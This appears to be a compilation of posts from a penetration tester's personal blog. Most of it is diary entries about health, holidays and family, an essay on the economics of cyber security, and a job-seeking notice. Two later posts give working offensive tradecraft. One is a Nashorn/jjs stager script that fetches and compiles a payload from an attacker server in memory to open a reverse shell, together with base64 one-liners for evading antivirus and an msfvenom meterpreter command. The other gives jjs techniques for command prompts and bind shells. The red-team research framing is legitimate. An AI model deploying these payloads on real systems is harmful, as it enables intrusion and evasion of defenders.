Captain's log: January 2020

After entirely writing 2019 off as not happening, I resolved to have a better 2020. Turning things around takes planning and effort. Here is the January log.

The good:

  • I walked more than 10,000 steps every day. Establishing a new baseline for my physical health after protracted periods off my feet in 2019. A resting heart rate a few beats per minute lower is not to be sniffed at.
  • I spoke to lots of friends and family on the phone in the evenings to help me through the 10k steps challenge. Reconnecting a bit with good people I had let myself get isolated from was great.
  • I drank water like it was going out of fashion.
  • I kept booze to a few special events when I was out with colleagues or with my wife.
  • I made sure I went outside every day even if it was a walk around the block.
  • I attended my first “hackathon” at work and was blown away by the joys of simply being around some utterly lovely people. Listening to colleagues talk about things they have been researching and then a spot of directed bug hunting was brilliant.
  • My hackathon efforts found a modest vulnerability in a wordpress plugin which I disclosed to the developer and ended with my first ever CVE reference. Go me.
  • I had some study time due while I prepared for an exam. I refreshed some app testing skills and delved into a few techniques I hadn’t had time to catch up on before. Studying is good for the soul.
  • I signed up to audible and listened to my first book in roughly 30 minute chunks walking to go get coffee whenever the sun poked out from the clouds.
  • I travelled solo on a plane twice without freaking out about it. The whole experience of travel had become stressful over recent years. So getting back in the saddle was uplifting.. Get it? Planes.. sky… uplifting?? Hard to please some people.
  • I sat and most likely failed an exam (but I won’t find out until February). I had a lovely time preparing for it, an uplifting journey, and actually really enjoyed spending a day hacking stuff that was vulnerable. It is in the good column because overall it was positive, and now I will know how to prepare for the next attempt if it is necessary.
  • Patrick Stewart returned as Jean-Luc Picard. It was like meeting an old boss you love for breakfast (which I also managed this month, and which was also delightful). Two episodes deep the show is going strong.
  • Dr Who returned with a flurry of brilliant episodes which generally entertained.

The bad:

  • A panic attack while sat about to eat dinner with my colleagues the night before that hackathon I mentioned.

I clearly but politely said “I am off folks” and then spent the rest of the evening breathing cold night air. Speaking to my partner on the phone and playing guitar in my hotel room. It worked. I calmed down. Improving my ability to cope with and recover from the situation is important.

Probable cause of panic? Take your pick. The restaurant was insanely hot. I had spent a long day socialising pretty hard which, when you work from home is pretty rare. I had driven a long way to be there. I was all out of my routine etc etc.

Highlight of the month:

  • I had an actual proper date with my wife without the kids. The time when we could not achieve this is coming to an end. We can spend some time together alone which is great. This could be life altering. We had such a laugh and enjoyed a nice meal.

I feel like the year has started well.

Hindsight is 2020 – When 2019 didn't happen

This is a post to myself really. One where I want to whinge once to get it out of my head and then stick the marker down for how we just skip over 2019 in my history so that it didn’t really happen. Not doing this for sympathy I am just looking to get it out of my head and really the focus is on the positives at the end. This post is an open diary entry I can come back to later.

Physical Health

Rewind to Christmas Eve 2018 and I was sat in an empty GP waiting room looking at the “get your flu vaccine here” posters, pondering whether it was unseemly to have a crack at that toy abacus while nobody was looking. Trying to keep my mind off speculating on the results to blood tests taken a few weeks before. I had never been asked to come in for test results previously so presumed it meant something.

I had gone in due to persistently low energy levels where I literally couldn’t stay awake beyond 2pm. The Dr had asked about my lifestyle and stopped at how old my kid was and chalked it up to lack of sleep.”Get more sleep” I was advised. Pretty challenging to achieve when a kid screams to see you every hour throughout the night. Any-who.. It felt like a fair cop as they say and so I had already resolved to sleep more by that point.

I shuffled in to meet probably the 9th different GP in a row to get told I had my first disease of old age. Gout! Nothing serious but they wanted to put me on a pill from that day until the day I die. To me that felt a bit premature since it seemed you could probably treat yourself with the usual alterations to your lifestyle: lose weight, drink less booze, and drink more water.

I walked out without the prescription resolved to make those simple changes first. From the day after boxing day onward I climbed that mountain of walking ten thousand steps a day. I maintained that for months. If anyone saw me for work during that period I was literally pacing in meetings and drinking water like it was going out of fashion. The results added up pretty quickly and I even celebrated needing an entirely new wardrobe because my trousers were all about to slough off in a most unseemly manner!

Then the bad luck kicked in as spring got into full swing. A run of weeks out of the game due to infections turned into months where I was unable to leave the house and I went stir crazy. During the hottest week of the year, you were probably outside having a lovely time. I was spiking a crazy fever and finding it impossible to stay hydrated.

All of this was unrelated to my diagnosis but it definitely triggered me to accept the medication at the next opportunity. I just did not want to be stuck in a bed any longer so that I could ultimately continue with the exercise and behaviour changes that had been working for the first few months of 2019. If gout kicks off you get 2 weeks in bed and in agony so going on the medication was supposed to reduce the risk of it. Sign me up I said!

I got put on the magic pill but the GP neglected to put me on an industrial strength anti-inflammatory and had not stated I needed to even take ibuprofen along with it. They said “take Ibuprofen for 2 weeks BEFORE starting the pill”.

I read up about my new medication and know that once you start it you do not stop for any reason other than a Dr saying so. It is the kind of thing that takes ages to build up into your system and comes with a shopping list of side effects until your body can cope with it.

By the time I presented to my 10th new GP in a row to ask about the side effects I had been stuck in bed for a further 10 days as a result of the medication triggering a monumental attack of gout. I could barely stand by the time I hobbled round the corner and the GP almost broke professional courtesy to go yell at the last guy I had spoken to for NOT prescribing an anti-inflammatory at the same time. I got the feeling if I was in the US they would assume a lawsuit for such a failure.

I said “don’t yell at him. But strongly remind them to not do that ever again and tell him it was an absolute living nightmare”. I believe that mistakes are learning opportunities and fortunately I came through it unscathed.

Holidays

In 2019 we had four holidays paid for and planned. We have not left the country in years but we booked a holiday a long time ago. Guess what? It was the week BREXIT was originally scheduled to happen. We booked before article 50 was dropped. Not wanting to be stuck in any chaos when an opportunity presented itself to cancel free of charge we took it. Then the deadline moved and we could have gone unimpeded. Oh how we regretted that since I think it was before the run of infections kicked in. How different 2019 might have been.

The next holiday was booked for a caravan park near Edinburgh. Guess what? A massive weather warning for travel came into force for the day we needed to drive there and was going to cover the entire period. It was unlikely that any of the events were going to be on due to the weather. So in a last minute call we didn’t bother leaving home. Why take children to a place with less to do than their own house to sit and listen to rain hitting the roof of a caravan? Logical, but no refunds possible.

We drove to Stonehaven in July. Everyone else in my family was sick for the duration. I was fine for once in the entire summer, but nobody else was. We were stuck in an airbnb seemingly designed to torment:

  • DVD player built into TV with a disk jammed inside. Pride and prejudice was likely the culprit if that helps make it worse somehow?
  • Freeview box capable of hundreds of channels but not CBBC or CBEEBIES.
  • An endless supply of massive flies just bumbling about inside the property at all times. Escort them outside and back in they came through some unknown means.

Devoid of ways to entertain sick kids it was perhaps not the relaxation I was hoping for :D.

In possibly the low point of the year I went outside with my acoustic guitar to sit in the garden and play. We don’t have a garden at home. The big selling point of Stonehaven was to have the outside space to play about in and maybe get some family over for a BBQ. I was determined to at least sit in the garden and play some songs. So when my nursing duties lulled I eagerly bowled outside.

I was in danger of having a moment of joy in 2019! I was on holiday. Nobody was yelling for attention. The sun was baking me outside and I had a guitar. One or two songs in a seagull shit all over me, all over the guitar, and it will never not smell like shitty fish again. Good game 2019 you absolute bastard!

Next up. The holiday we had out of obligation going to America to see the sister in law get married. Love the sister in law, she is a class act. But we knew this one was going to be an absolute nightmare with long haul flights, children, and the general procedure for 2019 being a bastard. Guess what? There was a BA strike… Oh absolutely guys. Yeah you can get there but you’ll be stuck in the USA. Want us to refund the entire thing?

Stuck in the endless cycles of telephoning them to sort us out we came pretty close to just taking the refund and making apologies. They found us an alternative route back which was going to be a bit worse than the original itinerary but YOLO lets actually go on a holiday we have paid for this year.

The flights were awful. The sleep patterns for the kids were thoroughly wrecked. We return back with a sick child diagnosed with Croup by the NHS. “Croup”, a disease which sounds so Victorian you think it might come with a moist sponge base. It was no laughing matter and several days of recovery were required.

In summary all the holidays were an absolute nightmare and no relaxation was achieved.

Mental Health

I have had a few struggles with burnout during my career. It absolutely happens folks. I have been pretty good at spotting it happening and taking action so it hasn’t happened for several years. But due to a mix of physical health and hilariously bad attempts at relaxation 2019 was the year to finally break me again.

As summer flipped to winter and the clocks went back the youngest kid just stopped going to bed anywhere near bedtime. Consistently. Night after night after night after night. It went on and on and only just started to get better now over the Christmas holidays. Instead of going to bed for several hours at 8pm they would now not even entertain sleep until 11pm. Then only in hourly chunks before waking up for reassurance.

There is a reason sleep deprivation is part of interrogation techniques. You have no defences once you are routinely starved of sleep. Since November/December I was fluctuating pretty near collapse with the lack of sleep. We were hiring baby sitters just to get some sleep it was really that bad.

It has triggered a series of panic attacks which are just absolutely exhausting in themselves. If you have never experienced one then you are pretty lucky. I would not recommend them or wish one on even a mortal enemy.

It is like the moment when you survive a road traffic accident only you are probably just sitting on a train and everything is fine. A surge of adrenaline to allow you to take flight or fight some unknown crisis. Your heart rate goes right up, you feel a tightening in your chest where you start to think “ok well, I am dying now at least I lived a good life full of love and tried to help”.

The first couple of these happened several years ago but I took action then and they went away. Turns out I can look forward to these whenever I am overly stressed and unable to sleep for a protracted period of time too.

Imagine living in a state where you constantly think about your own mortality like it is going to end momentarily. But it isn’t. You have the heart of an Ox and it isn’t actually broken. That is where long chunks of December have been spent in my head. It is also true that I am now much much better at coping with them. I can alter the dialogue in my mind. Centre myself and recover from it. Still they are pretty exhausting.

As anticipated the Christmas hiatus has given me space from work and a bit of relaxation. I have been able to get some extra sleep, spend time with the wife, play with the kids etc. It has been the tonic I needed to start sorting things out.

What of 2020 then?

I know I need to attack the causes of stress in my life to improve on 2019. Post Christmas day I have already started re-implementing the new behaviours which I started back in January 2019:

  • Walking 10k steps every day – so far so good.
  • Going to bed way earlier than I used to – so far so good.
  • Getting actual respite on weekends – meaning childcare on Saturdays and Sundays so that alone time and time with the wife becomes possible.
  • Indulging hobbies which are away from the screen – now that I am walking again I am going to try the audiobook and podcasts malarky. I purchased a yamaha keyboard before Christmas and can now do you several songs playing the chords. Lots of fun doing that.
  • Stay hydrated – it is medically required now to drink tonnes of water!
  • Reduce the booze – I always feel better when I take whole months off anyway. Since kids came around I haven’t really been out raging it large anyway :D. But, reducing calories in at the same time as creating time to indulge possibly new or more varied activities AND winning more restful sleep into the bargain is a good idea.
  • Lose weight – what news yearsy list would be complete without that? I was doing really well for months last year. I haven’t even put on all the weight I lost so go me. Starting from a lower point anyway. Easy!

To future Cornerpirate. How did you do? Don’t let me down.

Economics of Cyber Security

Everything in life boils down to economics. When there is a decision you can either go with your heart or go with your purse/wallet. But I wager that even following your heart there is a part of you which weighs up the cost-benefit implicitly.

When you are looking at security you have a budget and you have business goals and needs and you have to figure out where to spend it. In this post I am tying together a couple of thoughts on how thinking in economics with your brain instead of your gut affects security thinking. It is mostly rambling so this is my personal blog.

Why did I do this?

I was prompted to write this today because of a tweet by the Scotsman:

Firstly I haven’t bothered to read the article. But I would like to point out literally nobody is “cruising” to England. They can actually walk over bridges in places or take a 5 minute bus. That is the beauty of a friction-less border with free trade.

All about incentives

Understanding what motivates people is vital. This will help you when dealing with people. Think about what they are trying to do and see if you can frame the conversation such that you both get what you need.

I keep pondering this quote more and more:

“It is difficult to get a man to understand something, when his salary depends on his not understanding it.”

— Upton Sinclair

To widen the scope of this post a lot, lets stare at man made climate change. The grandest stage we have is wiping out the planet’s ability to sustain human life. In part due to the economics encouraging people to look the other way. It is all about incentives from where to buy your beer right up continuing doing what you are doing despite mounting evidence that it is killing the planet.

Relating incentives back to the Scotsman’s article. By increasing the duty on alcohol (a so called “Sin tax”) the Scottish government has placed an economic incentive to “drink less”. By making things more expensive people will either be unable to afford to drink as much, or will simply make different choices.

How is this about Cyber Security?

The policy of varying tax to discourage/encourage specific behaviours is a relatable story. The response of consumers has resulted in fewer units being sold. An enterprising band of consumers have identified a niche where, presumably, they live close enough to the border for it to be in their economic interests at the moment to go to England.

Boil this story down to the basics and translate to Cyber Security:

  1. A problem was identified (too many units being consumed) and a solution was put in place to reduce the risk (economic sanctions).
  2. Attackers evaluated the situation and found an avenue which was economical enough for them to make a buck (vulnerability detected).
  3. Attackers exploited that (vulnerability exploited)

There is a relationship between the sin tax approach and Data Breach fines in that they have similar effects. However, a tax is something which always applies and the fine only happens when a breach occurs. You can try and roll a dice and see if you avoid a breach for another financial year. You cannot avoid the tax within Scottish jurisdiction.

Budget, fines, and broken business models

I could not put it better than this belter of a tweet by a person I do not know at all called Dylan (hi Dylan *waves*):

With a name like Dylan he is obviously a wordsmith, I salute you sir.

This perfectly captures for me the economics of cyber security. Increasingly the choice is to do security competently or worry about paying fines. While there is a hint of Fear Uncertainty and Doubt (FUD) about this I think the general idea is right here.

With the first GDPR based fines clearing the system it is obvious that the new regime is just how life is going to be going forward. So while it is distinctly “fuddy” you cannot deny that this FUD is based in reality.

A fine is a threat which is seeking to alter behaviour. “You do this or else!”. If you sufficiently fear the else part then economics states that you should shape up.

Economics of Attackers

The economics for an attacker are pretty simple. They will exploit a target IF they find a vulnerability that:

  • has sufficient economic gain when exploited (worth doing)
  • for which the likelihood of being caught or the disincentive of the punishment is acceptable to them (attackers accept risks too :D)
  • and the investment of effort to exploit is within their skill
  • and the attacker has enough resources to devote to exploiting it (in terms of time and tools).

When all of these items are met there is an incentive and motivation for the attacker and the target will get exploited.

Economics of Defenders

Assume some theoretical system which is absolutely secure. That system would likely be absolutely useless to users. Security is the art of safeguarding without rendering something unusable.

What we need to attain is a standard of assurance equivalent with the risks that are realistic. Starting from the situation that in reality nothing is 100% secure it takes the pressure off a little bit. Now that the band-aid has been pulled off lets limit the bleeding.

First, understand the systems you have and the data they process. Determine the value of that data. When you process data valuable on the black market then the risks of attack go up.

Secondly, understand who your adversaries are. There is an entire blog post on its own about the levels of adversaries that I need to write. But in brief lets say this:

  • Untargeted automated attackers – these do not care who you are, or know anything about your business interests. Typically a functional exploit for some outdated software or default credentials will be put into a scanner which simply tries to exploit every IP address on the Internet.
  • Script Kiddies – these attackers will be targeting you specifically with a human behind the effort. They can use existing exploits and tools to enable password guessing but will be unlikely to develop new tools or attack in a sophisticated manner.
  • Organised Criminal attackers – if you are handling information which has value on the black market, or if you process credit card transactions etc then you will be on their radar. They may use “Phishing” or social engineering to exploit your staff and many will have “Zero Day” vulnerabilities which are often traded illegally. They will attempt to exploit you with ransomware and use anything else that can gain money.
  • Politically Motivated attackers – if your organisation has ever been protested, or if you trade across borders which have friction you may be targeted by this class of attacker. Frequently they will deploy techniques to disrupt your business such as denial of service or anything to get their agenda into the news. At the extreme end of this category you can expect your data to be stolen and published online by wikileaks.
  • Nation states – If you operate between borders which have friction, deliver projects for a government, or have access to people/data of interest to nation states. Then you can pretty much expect to be targeted sooner or later. What we have learned about their tactics is that they will have “Zero Day” exploits, and significant resources at their disposal.

A lot is written about “Zero Days”. I will say for the bulk of companies nobody is looking to waste a valuable exploit on you. There is also very little you can do to proactively defend against them since the vendor you use does not have a patch available.

With security the basics really are: Patch everything all the time, ensure no default or weak passwords are set, and engage with an offensive security partner to simulate the reasonable risks you face. For the bulk of you that means penetration testing, for those with mature cyber security practices in-house that may mean red teaming.

Full disclosure: I am a penetration tester and red teamer by trade. So that last recommendation is not free of bias if you think about what I just wrote cynically. However, I believe what I do every day genuinely helps customers. Note: I did not say you come to ME for these services. I said that you find a security partner with those skills period.

Before you insure your house you get a valuation right? The two-steps above in summary were:

  1. Get a valuation for the data you horde.
  2. Understand who will attack you and how to arrive at your level of cover.

Now with that out of the way. The economics of defence is to ensure that you make yourself as prickly as possible to deter attackers. While nothing is 100% secure what you want to do is raise the bar beyond low-skilled attackers as the minimum.

As with the “Sin Tax” you are trying to reduce the incentive to the attacker to exploit you. By increasing the amount of time and tooling required you will reduce the pool of attackers.

Have you ever seen one of the many segments on TV where an ex-offender looks at a home and gives advice on how to secure it from robbers? It is the exact same advice here. You want the robber to not see you as a soft touch and you want them to walk down the street to someone who is.

Well, dear reader, I think that is enough for today on the economics of cyber security. I think we covered incentives and how attack and defence is really just like choosing where you buy your beer.

Burp a sandstorm

Back when myself and Andy Gill were working together it became a running joke in the office that whenever you open Burp suite Darude’s Sandstorm must blare out. How would you get a shell storm without sandstorm? Back in December I took a moment to make an Extension that does exactly that. Have the code here:

from burp import IBurpExtender
from java.awt import Desktop;
from java.net import URI;

class BurpExtender(IBurpExtender):

	extensionName = "Hacking in Progress"
	def registerExtenderCallbacks(self, callbacks):
		callbacks.setExtensionName(self.extensionName)
		if Desktop.isDesktopSupported() and  Desktop.getDesktop().isSupported(Desktop.Action.BROWSE):
			Desktop.getDesktop().browse(URI("https://www.youtube.com/watch?v=c-ydGUHUDj8"))
		
		return

Save this into a “.py” file and import as a python extender within burp.

It serves no useful function unless you want a 10 hour loop of Sandstorm playing in your system default web browser. To be honest, why wouldn’t you?

Awkward first post of 2019 out of the way. Back onto useful things soon.

* Featured image was pulled off Google with “Free for non-commercial use” selected. The Flickr account that originally had it doesn’t exist now so unable to thank the person who took it or seek permission. Whoever took it, well done and hope you are ok with my using it.

Seeking new life, and new opportunities

It dawned on me that the task I had originally set myself when I joined Pentest Ltd (Now Secarma) back in 2015 have been met, delivered and exceeded.

I wanted to create a penetration testing team and provide a new route for graduates in Scotland. Instead of mostly relocating to England for a career I sought to ensure there was a place for people wanting to stay nearer to home.

Three years on the industry up here is in rude health. Now Context, NCC, and Pentest Partners have offices too. Not that I am taking credit for those. It has been glaringly obvious to me that Scottish universities have been hurtling out talent for years that probably would have preferred to remain in Scotland if they could.

What is true is that there are plenty of options for the next generation and that is basically what I wanted to achieve so thanks guys 😀

Always leave people on a song right? So I resigned with All along the watchtower yesterday:

* Edit. At some point the file upload got lost so restored the post to its former glory.

I wish Secarma all the best in their future endeavours. They are a talented group, and they are kicking on and looking to do exceptional things.

What gets me out of bed in the morning is to help people. Helping customers secure their assets, and helping colleagues to do more personally and professionally. Both of these are vital to me.

I could certainly of continued doing these at Secarma. However, I saw my three year anniversary come and go this month and simply assessed that job I was hired for as being complete.

Now I am seeking new opportunities. My experience:

  • I have found, trained, and managed penetration testing teams for the last 5 years.
  • I am still an active penetration tester with 13 years experience.
  • I am based in Glasgow.
  • I am available from sorta mid November after a bit of self reflection/home renovation.

Rules for contact are:

  • As they say “my DMs are open” on Twitter over @cornerpirate.
  • If you are the owner, MD, technical director or just in a position to make decisions on behalf of your organisation then go right ahead.
  • If you are a recruiter I prefer not to engage. Thanks for thinking of me

Go on then InfoSec community what do you want me to help with?

Regards

Java Stager without the Stager

I have been doing a lot of playing with Java recently. In fact, this will be the 3rd blog post in a month.

In this post I sought to merge the two threads and move away from “Java-Stager” to deliver the same payload via Nashorn.

Why bother?

If we revisit the goals of a stager, then you should see why this is significant:

  • Stager is a binary or script which is uploaded to the victim.
  • The stager needs to be benign in general to survive cursory analysis.
  • The stager then downloads the actual payload over HTTP straight into memory where it is hidden from lots of AV solutions.

The technique of hiding in memory is based on the work of James Williams with his “too hot for the Internet” video available here:

https://www.youtube.com/watch?v=BYEbhDXgElQ&t=7s

An AV vendor made a copyright claim which had the video pulled temporarily. Then because of that becoming a much bigger story it currently has 32k views. Which is about 30k more than the next most popular video from this year’s BSides Manchester.

The Stager jar file was a weak point of the Java-Stager post. While that is designed to be a proof of concept. It is true that uploading the jar file to Virus Total would probably see it being killed by AV within a few days.

By the end of this post we will have the functionality of Java Stager where everything pretty much happens in memory, and the “Stager” is now an Oracle signed binary which is part of the Java Runtime Environment.

Nashorn Payload

Now that I have a lovely Nashorn engine to play with I have implemented the same reverse shell over TCP which was given out with Java-Stager:

https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java

The following shows how to achieve the same results using only Nashorn code:

// Change this to point to your host
var host = "http:///";

// Load the NnClassLoader over HTTP 
load(host + "NnClassLoader.js");

// Use NnClassLoader to download Janino and Apache commons over HTTP
// Obtain these Jar files and stick them in your web root
var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});
var P = L.type('org.codehaus.janino.SimpleCompiler');
var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");

// Import all the Objects that we need
var BufferedReader = Java.type("java.io.BufferedReader");
var InputStreamReader = Java.type("java.io.InputStreamReader");
var StringReader = Java.type("java.io.StringReader");
var StringBuffer = Java.type("java.lang.StringBuffer");
var Method = Java.type("java.lang.reflect.Method");
var URL = Java.type("java.net.URL");
var URLConnection = Java.type("java.net.URLConnection");

// Place Java-Stager's Payload.java file at root of web server.
// This code downloads the payload over HTTP
var payloadServer = new URL(host + "Payload.java");
var yc = payloadServer.openConnection();
var ins = new BufferedReader(new InputStreamReader(yc.getInputStream()));
 
// Read the code into memory in a string
var inputLine;
var payloadCode = new StringBuffer();
while ((inputLine = ins.readLine()) != null) {
   payloadCode.append(inputLine + "\n");
}
// Be tidy and close the input stream.
ins.close();
print("[*] Downloaded payload");

// Compile it using Janino
print("[*] Compiling ....");
var compiler = new SimpleCompiler();
compiler.cook(new StringReader(payloadCode.toString()));
var compiled = compiler.getClassLoader().loadClass("Payload") ;

// Execute "Run" method using reflection
print("[*] Executing ....");
var runMeth = compiled.getMethod("Run");
// This form of invoke works when "Run" is static
runMeth.invoke(null); 

print("[*] Payload, payloading ....");

Hopefully the comments clear up how that works. It basically does this:

  • Download over HTTP the “NnClassLoader.js” library which allows custom class loading.
  • Download the two java libraries required (janino, and commons-compiler). These are required for compilation in memory.
  • Download the payload over HTTP and save it into memory.
  • Compile the payload in memory.
  • Use reflection to execute the “Run” method of the “Payload” object to trigger the payload.

Pretty much the same process as before.

Preparing Attacker’s Server

Start an HTTP listener containing the following files in the web root:

  • NnClassLoader – Available from reference [1]
  • janino-3.0.8.jar – Available from reference [2]
  • commons-compiler-3.0.8.jar – Available from reference [3]
  • java – The same payload I made for Java-Stager works.

Then you start a metasploit multi/handler with the payload set to “generic/shell_reverse_tcp”. With the extra option “set ExitOnSession false” enabled the listener will remain active beyond the first victim connecting back.

Exploiting your victim

Obviously, do not do this on a machine that you are not legally allowed to. This is for research purposes only.

Caveat in mind? Good. All you do is take a copy of the Nashorn payload (shown above) and paste it into a text editor on your “victim”. Then all you need to do is:

  • Set the value of “host” to point to your HTTP listener
  • Save the above to disk as for example “revshell.js”

There are then three ways to run the “revshell.js” using jjs:

# As argument to jjs
jjs path/to/revshell.js

The pros of this is that it is damn easy. To find the cons look at the output Sysinternals process explorer. There you will see that this leaves an obvious path to the payload:

08-jjs-with-file-as-argument

Which isn’t brilliant. The second way is to use “echo” to spoof sending stdin data to the jjs command prompt interface:

# echo spoofing stdin
echo load(“path/to/revshell.js”) | jjs

Looking at process explorer again shows that we have hidden the location of the payload:

09-jjs-using-echo-or-command-prompt-interface

The final method is to just use the command prompt interface and then issue the load command:

# launching jjs as shell and then loading it
jjs
jjs> load(“path/to/revshell.js”)

This again gets a clean looking output from process monitor which isn’t surprising since the last two are equivalent.

Doing it all in memory *

Now these are fine, but you are committing to saving a file on disk. If you want to do it all in memory, then you can:

  • Upload your “revshell.js” to your HTTP listener and then use “load()”.
  • Or paste the program line by line into the command prompt interface.

These both worked for me. But the final way of doing it is to Base64 encode your payload and then paste a 1 liner into jjs to make it work. To keep this as a “no tools on your victim” hack I would suggest using an online encoder for example:

https://www.base64encode.org/

Or you have options in powershell, certutil to encode base64 on Windows, and equivalent options in Linux.

Once you have a base64 encoded version of the payload just paste it into the one liner shown below over “ENCODED_TEXT”:

echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); | jjs

This will do it in a one liner in memory. It will execute within the context of a binary signed by Oracle (jjs.exe), and. it will hide the input parameters from Process Explorer on Windows.

* Ok some of it touches disk

Using Systinternals process monitor with the filters set as shown:

10-process-monitor-filters

I discovered that our jjs process (in this case with PID 3504) created some temporary files:

11-jar-cache-files

These are files created by “NnClassLoader”. They are local copies of the two dependencies “janino” and “commons-compiler”. These are NOT malicious and should pass any scrutiny since they are not from nefarious sources.

I think they are an improvement over my PoC Java-Stager which is toasted the second that someone uploads it to Virus total.

Put it together and what have you got?

Here is the Attacker setup and it catching the reverse shell back:

15-Attacker-Listeners.png

Here is the Victim executing the payload using the echo trick with Base64 encoding:

14-Victim-Executing-Nashorn-Stager

So that worked absolutely fine. Bibbity, bobbity, boo!

Trying to trigger AV Alerts

The payload used by Java-Stager and this Nashorn example are currently useful against, I would guess, most Anti-Virus solutions. The reasons being:

  • Most of what they do is in memory, a classic place to hide.
  • The payload has been written by me. The all time most effective AV bypass is to just write your own payload. If the customer’s AV solution has no signature to match against then you will get by long enough to finish up your engagement in most cases.

With those reasons stated I wanted to TRY and trigger an AV response out of a fully up-to-date Microsoft Defender. I hold Defender in high regard personally but that is just an opinion. So lets finish the post by using Eicar to trigger alerts.

Loading Eicar

In my target VM I tried using “load” to obtain a copy of the eicar string:

12-Eicar-download-via-jjs

It downloaded into memory without issue but failed to execute because it isn’t valid JavaScript. No alert was raised, proving that on access scanning failed to find Eicar using in the same place we are hiding our payloads.

To trigger an actual alert because of Eicar I had to use Java to save the string to disk as shown:

13-Writing-Eicar-to-Trigger-Alert

The moment “fw.close()” was called Defender alerted on Eicar as expected.

Once more unto the breach

This is my final check I promise. As I was wrapping this up I thought that the Eicar string is really intended to be a file. It hardly ever gets any scrutiny in memory. It makes sense that it wasn’t caught one way but it was the other.

One final test I generated a straight unencoded payload using msfvenom as shown:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f asp > shell.asp

Then I downloaded it using the “load” command:

16-msfvenom-asp-shell

Again it wasn’t caught by Defender and again it failed to then execute because it was not a JavaScript file. Not really sure what more I should be doing to try and trigger an alert than trying a pure msfvenom payload.

There you have it. A living off the land binary which you can use to do things merely by copy/paste giving you new options for evading the blue team.

References

[1] https://github.com/NashornTools/NnClassLoader
[2] http://repo1.maven.org/maven2/org/codehaus/janino/janino/
[3] http://repo1.maven.org/maven2/org/codehaus/janino/commons-compiler/

Java gives a Shell for everything

Did you know that Java has shipped with a JavaScript engine which executes in memory and has been around for years? Well it does and it has. This rambling tale is about how I came about it over two engagements.

Tl;dr – the highlights of this post are:

  • Universal scripting capability via Java Runtime Environment (JRE)
  • Allowing in-memory only payloads
  • Great options for bind and reverse shells
  • For the red team connoisseurs a commonly available living off the land binary for all the above

Initial Discovery

On an engagement at the end of 2017 I was enumerating what I had to play with on a customers Workstation.

As part of build reviews I like to find:

  • Command prompts – cmd.exe, powershell.exe, ftp.exe etc; and
  • Scripting engines – powershell.exe, cscript.exe etc

This is standard practice at the start of enumeration really.

Looking in the “/bin” folder of the Java Runtime Environment (JRE) configured on the workstation I came across “jjs.exe”. This actually turned out to suit both purposes.

Using jjs.exe to get a command prompt on your workstation

Caveat; I am going to assume that binary white listing, and careful setup would neuter the technique. However, my target had none of that so I got to run wild. Lets stick to what I do know.

Double click on “jjs.exe” and you will get a command prompt interface as shown:

02-jjs-command-prompt

This is not terribly friendly because it doesn’t have any help baked in. A little reading around about what jjs is on Oracle’s website pointed out this was a JavaScript prompt. What is better is that it can call Java objects, as per reference [1]. That has an excellent write-up of how to call Java objects.

The following code can be used to achieve a slightly broken command prompt interface through jjs:

var pb = new java.lang.ProcessBuilder("cmd.exe","/k");
pb.redirectInput(java.lang.ProcessBuilder.Redirect.INHERIT);
pb.redirectOutput(java.lang.ProcessBuilder.Redirect.INHERIT);
pb.redirectError(java.lang.ProcessBuilder.Redirect.INHERIT);
pb.start();

Then lets look at what I mean by slightly broken command prompt:

01b-local-command-prompt-via-jjs

Initially you can see that there is no pass through of commands to “cmd.exe” so you cannot get the hostname. Then after pasting in the code and executing it you can see that every other line of input gets you command execution. Beggars cannot be choosers, this was better than no command prompt at all.

I filed it under a minor point of interest. Within the context of a locked down workstation you might have luck with this where other things have failed. If you get a crumb out of that be sure to ping me on Twitter (@cornerpirate) because I would love to know.

The rest of this post moves into different contexts entirely. An internal pentest where I needed to get a bind shell out of it.

Doing more with jjs.exe

A few months ago I hit a unique set of circumstances on a different engagement. Where we had an outdated version of Weblogic having a known RCE exploit. The network was setup to deny any and all reverse connections back. So a reverse shell was not an option. Add into the mix that *every* node on the network had endpoint protection software, some form of in-line traffic inspection, and you should understand they had done so many of the basics perfectly.

Pretty much every payload we lobbed at this thing didn’t work. We had less than ideal test conditions and had to infer the filtering device from behaviour, and only knew about the endpoint protection from another box.

While we assumed we had “RCE”. There was no detectable way of confirming that any payload was executing. The server lived in an area of the network that could not do external DNS. So using a Burp collaborator trick to force a detectable lookup did not confirm that the RCE even worked. Firing in the blind is hard.

We tried to write JSP webshells but were having difficulty guessing the web root etc.

We fell down trying to get bind shells. Starting with the venerable post from pentestmonkey [2]about reverse shells in various languages. I converted them all into bind shells (a post about that soon) and watched as none of them worked on that target.

Sometimes onsite work is brutal. I drove home feeling like a pretty shitty pentester having failed to get anything out of it.

Then I remembered that this is a WebLogic server so it would have Java installed. The bit of pentestmonkey’s cheat sheet for Java is also not perfect since it clearly relies on compiling Java. To compile Java you need to have the Java Development Kit (JDK) installed which in fairness a WebLogic server probably has.

I came up with two plans for attack the following morning:

  1. Make a one liner using jjs
  2. Consider echoing line by line my Java payload into a /tmp/exploit.java file, and then a “javac /tmp/exploit.java” and finally “java /tmp/exploit”.

The second one seems like it will work too but in the end I didn’t have to do that because option 1 worked.

Java One Liner Using jjs

The jjs shell has a “load” command which loads and executes a file. Your payload can be located on the victim’s hard disk or you can load things over HTTP. I show examples of both below:

load("c:\wherever\payload.txt");
load("http:\\attackerip\payload.txt");

There is an obvious quick win if you can get a reverse connection back from your victim. You simply deliver your payload over HTTP and you never touch disk. Obviously in my narrative here I could not use HTTP so I needed to find another solution.

jjs is an interactive command prompt meaning that the user has to be there to send commands via stdin. To do this you can simply use “echo” to print the command you want and simply redirect it into jjs:

03-echo-to-redirect

Sweet. The example syntax would be this:

echo load("c:\wherever\payload.txt"); | jjs.exe 

That works if you want to stage your payload on disk. In addition to “load” it turned out that jjs supports “eval”. God I love me an “eval”. We will get to that in a minute but first lets see a bind shell:

var port=4444;      // Port to bind on
var cmd='cmd.exe';  // OS command to execute. 
// Bind to port
var serverSocket=new java.net.ServerSocket(port);
// Accept user connection
while(true){ // this while keeps the port bound when client disconnects
var s=serverSocket.accept();
// Redirect stdin, stderr and stdout from process to client.
var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();
